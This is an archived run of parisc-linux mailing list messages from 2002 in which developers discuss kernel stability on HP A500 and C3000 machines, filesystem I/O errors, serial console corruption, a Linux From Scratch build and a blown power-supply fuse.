X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 28 17:31:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by dsl2.external.hp.com (Postfix) with ESMTP id C77094860
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Feb 2002 17:31:26 -0700 (MST)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 5ED4138D1C; Thu, 28 Feb 2002 17:29:10 -0700 (MST)
In-Reply-To: <20020228181732.GF11598@tausq.org>
Original-Lines: 5
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14207

randolph@tausq.org (Randolph Chung) writes:

The Debian package that delivers up-to-date config.* files is autotools-dev.

Bdale



From - Thu Nov 08 21:21:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] disk I/O error
Date: Thu, 28 Feb 2002 21:41:58 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20020301044158.4E0404830@dsl2.external.hp.com>
References: <15486.51802.168431.29867@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621116 3991 80.91.229.3 (22 Nov 2014 01:51:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 28 21:41:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4E0404830; Thu, 28 Feb 2002 21:41:58 -0700 (MST)
In-Reply-To: Message from Matthias Klose <doko@cs.tu-berlin.de> 
   of "Fri, 01 Mar 2002 01:24:58 +0100." <15486.51802.168431.29867@gargle.gargle.HOWL> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14208

Matthias Klose wrote:
> ok, seems that the root fs is damaged after some locks and following
> resets. For the reinstallation, which kernel should be used on a A500? 
> I Tried 2.4.17-64-smp, 2.4.16-64-smp, 2.4.17-64 and
> 2.4.16-64. However, the machine locks up after three, maybe four days.

You can try ftp://ftp.parisc-linux.org/kernels/a500/2.4.17-pa23.tgz

this seems to be fairly stable on my a500. And it has ext3
builtin so you can use it on your root filesystem.

I can say that 2.4.18-pa0 is *not* stable with CONFIG_SMP on A500.
It only runs a few hours before locking up.
We suspect issues with do_gettimeofday() (iirc).

grant



From - Thu Nov 08 21:21:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] disk I/O error
Date: Fri, 1 Mar 2002 10:03:58 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20020301090358.GB27911@charite.de>
References: <15486.51802.168431.29867@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621117 3995 80.91.229.3 (22 Nov 2014 01:51:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  1 02:04:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.73.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E3BD482D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  1 Mar 2002 02:04:01 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id AC76815C015; Fri,  1 Mar 2002 10:03:59 +0100 (CET)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with SMTP
	id 5E5FB15C00F; Fri,  1 Mar 2002 10:03:59 +0100 (CET)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 503C415C008; Fri,  1 Mar 2002 10:03:59 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 17EEB633A8; Fri,  1 Mar 2002 10:03:59 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <15486.51802.168431.29867@gargle.gargle.HOWL>
User-Agent: Mutt/1.3.25i
X-Virus-Scanned: by AMaViS snapshot-20020109
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14209

Am 01.03.2002 um 01:24:58 +0100 schrieb Matthias Klose folgendes:

> ok, seems that the root fs is damaged after some locks and following
> resets. For the reinstallation, which kernel should be used on a A500? 
> I Tried 2.4.17-64-smp, 2.4.16-64-smp, 2.4.17-64 and
> 2.4.16-64. However, the machine locks up after three, maybe four days.
>  
> init-2.05a# ls -l /lib/libext2fs.so.2.4  
> ls: /lib/libext2fs.so.2.4: Input/output error 
>  
> attempt to access beyond end of device 
> 08:06: rw=0, want=6803996040, limit=1999856 
> attempt to access beyond end of device 
> 08:06: rw=0, want=7745165772, limit=1999856 
> attempt to access beyond end of device 
> /p/pari/libpari1-dev_2.1.3-1_hppa.deb 
> Size: 1540332 

This sounds like broken hardware! At least whenever this pops up on
the ext3 list, then it's mostly due to bad hardware, bizarre UDMA
settings or the hardware being used out of spec.

In this case, going to ext3 might not help, since ext3 is ext2, except
for the journal.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
S/He is down to the 7-11 down the street, to buy extra strong coffee and caffeine tabs. 




From - Thu Nov 08 21:21:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] serial console corruption with 2.4.18-pa2 ?
Date: Fri, 1 Mar 2002 22:42:31 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <20020302064231.GD20672@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621117 3997 80.91.229.3 (22 Nov 2014 01:51:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:57 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  1 23:42:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A5C7482F
	for <parisc-linux@parisc-linux.org>; Fri,  1 Mar 2002 23:42:45 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id vcnulaaa for parisc-linux@parisc-linux.org; Fri, 1 Mar 2002 23:42:19 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16h3Dz-0001QZ-00; Fri, 01 Mar 2002 22:42:31 -0800
Content-Disposition: inline
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14210

On my c3k, everytime I boot up a kernel running 2.4.18-pa2 (narrow
kernel), I get a lot of garbage characters during bootup (sometime 
between hardware inventory and scsi init). Has anyone else seen this? 
I use minicom has my serial terminal and the garbage kills minicom....

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial console corruption with 2.4.18-pa2 ?
Date: Sat, 02 Mar 2002 22:55:02 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20020303055502.BAA734832@dsl2.external.hp.com>
References: <20020302064231.GD20672@tausq.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621117 3999 80.91.229.3 (22 Nov 2014 01:51:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:57 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  2 22:55:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id BAA734832; Sat,  2 Mar 2002 22:55:02 -0700 (MST)
In-Reply-To: Message from Randolph Chung <randolph@tausq.org> 
   of "Fri, 01 Mar 2002 22:42:31 PST." <20020302064231.GD20672@tausq.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14211

Randolph Chung wrote:
> On my c3k, everytime I boot up a kernel running 2.4.18-pa2 (narrow
> kernel), I get a lot of garbage characters during bootup (sometime 
> between hardware inventory and scsi init). Has anyone else seen this? 
> I use minicom has my serial terminal and the garbage kills minicom....

I didn't see that with 2.4.18-pa2 on my c3k using my own .config's.
Maybe you want to compare them?

It's possible an evil driver is poking around in IO port space
and deranging the suckyio serial port.

grant



From - Thu Nov 08 21:21:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jbit <james_a_n_lee@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux From Scratch
Date: Sun, 03 Mar 2002 16:26:17 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <3C824EA9.4040805@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621118 4001 80.91.229.3 (22 Nov 2014 01:51:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:58 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  3 09:26:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp014.mail.yahoo.com (smtp014.mail.yahoo.com [216.136.173.58])
	by dsl2.external.hp.com (Postfix) with SMTP id B3FA34837
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Mar 2002 09:26:12 -0700 (MST)
Original-Received: from james?a?n?lee (AUTH plain) at m413-mp1-cvx1c.cam.ntl.com (HELO yahoo.com) (james?a?n?lee@62.253.153.157)
  by smtp.mail.vip.sc5.yahoo.com with SMTP; 3 Mar 2002 16:26:10 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:0.9.4) Gecko/20011126 Netscape6/6.2.1
X-Accept-Language: en-gb, en-us, en-au, en, ja
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14212

Hi,
Just to let everybody know that i've (finally) sucsesfully completley LFS (www.linuxfromscratch.org) on my 712/80
I may be writing a hint for it, since it did get a bit messy ;)
But for anybody who doesn't like debian too much, i'd sugest attemping LFS.
Also while doing LFS, i used 2.4.18-pa2 (yesterdays CVS, to be exact) and (i think this has been reported already)
My power LED switches off when linux is loading/loaded and soft power off no longer works (it just switches off)
Any reason for this?

Anyway, if you have any problems doing LFS, contact me or post on the mailing list
It takes just 20 seconds to boot (from end of bios->login prompt) and the entire system is < 200MB

--jbit


_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




From - Thu Nov 08 21:21:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jbit <james_a_n_lee@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Power Supply Problems
Date: Sun, 03 Mar 2002 16:36:55 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <3C825127.7090200@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621118 4003 80.91.229.3 (22 Nov 2014 01:51:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:58 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  3 09:36:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp012.mail.yahoo.com (smtp012.mail.yahoo.com [216.136.173.32])
	by dsl2.external.hp.com (Postfix) with SMTP id 3A6F54841
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Mar 2002 09:36:49 -0700 (MST)
Original-Received: from james?a?n?lee (AUTH plain) at m413-mp1-cvx1c.cam.ntl.com (HELO yahoo.com) (james?a?n?lee@62.253.153.157)
  by smtp.mail.vip.sc5.yahoo.com with SMTP; 3 Mar 2002 16:36:47 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:0.9.4) Gecko/20011126 Netscape6/6.2.1
X-Accept-Language: en-gb, en-us, en-au, en, ja
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14213

Hey, erm, I just tried to boot my other hp (712/60) and the fuse (inside the power supply) just blew..
I was wondering if anybody has a scematic for the power supply so i can (try to) fix it?

thanks for any help

--jbit


_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




From - Thu Nov 08 21:21:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Supply Problems
Date: Sun, 3 Mar 2002 21:10:53 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20020303201053.GF25473@charite.de>
References: <3C825127.7090200@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621118 4004 80.91.229.3 (22 Nov 2014 01:51:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:58 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Jbit <james_a_n_lee@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  3 13:10:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.73.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B895483F
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Mar 2002 13:10:54 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 9C2D315C005; Sun,  3 Mar 2002 21:10:53 +0100 (CET)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with SMTP
	id 4FF6615C009; Sun,  3 Mar 2002 21:10:53 +0100 (CET)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 44A5415C005; Sun,  3 Mar 2002 21:10:53 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 2A5E1633A8; Sun,  3 Mar 2002 21:10:53 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <3C825127.7090200@yahoo.com>
User-Agent: Mutt/1.3.25i
X-Virus-Scanned: by AMaViS snapshot-20020109
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14214

On Sun, Mar 03, 2002 at 04:36:55PM +0000, Jbit wrote:
> Hey, erm, I just tried to boot my other hp (712/60) and the fuse (inside 
> the power supply) just blew..
> I was wondering if anybody has a scematic for the power supply so i can 
> (try to) fix it?

Just open it and find the fuse. It shouldn't be hidden too deep...

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
May's Law: The quality of correlation is inversely proportional to the
density of control. (The fewer data points, the smoother the curves.) 




From - Thu Nov 08 21:21:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Supply Problems
Date: Mon, 04 Mar 2002 00:22:51 +0100
Organization: private
Lines: 40
Approved: news@gmane.org
Message-ID: <3C82B04B.ECA01FA8@gmx.at>
References: <3C825127.7090200@yahoo.com> <20020303201053.GF25473@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621119 4010 80.91.229.3 (22 Nov 2014 01:51:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:59 +0000 (UTC)
Cc: Jbit <james_a_n_lee@yahoo.com>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  3 16:22:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep15-int.chello.at (viefep15-int.chello.at [213.46.255.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F09C484E
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Mar 2002 16:22:55 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep15-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020303232252.VLJB1239.viefep15-int.chello.at@gmx.at>;
          Mon, 4 Mar 2002 00:22:52 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14215

The problem is not finding the fuse, but "remove" the "reason",
why the fuse is blown up.

In some seldom cases, if we have luck, we simple need to exchange
the fuse, and I wish Jbit much luck ....

With friendly regards
Christoph P.



Ralf Hildebrandt wrote:
> 
> On Sun, Mar 03, 2002 at 04:36:55PM +0000, Jbit wrote:
> > Hey, erm, I just tried to boot my other hp (712/60) and the fuse (inside
> > the power supply) just blew..
> > I was wondering if anybody has a scematic for the power supply so i can
> > (try to) fix it?
> 
> Just open it and find the fuse. It shouldn't be hidden too deep...
> 
> --
> Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
> Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
> Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
> May's Law: The quality of correlation is inversely proportional to the
> density of control. (The fewer data points, the smoother the curves.)
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:21:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Supply Problems
Date: Sun, 3 Mar 2002 23:52:03 +0000 (GMT)
Lines: 15
Approved: news@gmane.org
Message-ID: <E16hflr-0005rF-00@the-village.bc.nu>
References: <3C82B04B.ECA01FA8@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621119 4014 80.91.229.3 (22 Nov 2014 01:51:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:59 +0000 (UTC)
Cc: Ralf.Hildebrandt@charite.de (Ralf Hildebrandt),
	james_a_n_lee@yahoo.com (Jbit),
	parisc-linux@lists.parisc-linux.org (parisc-linux)
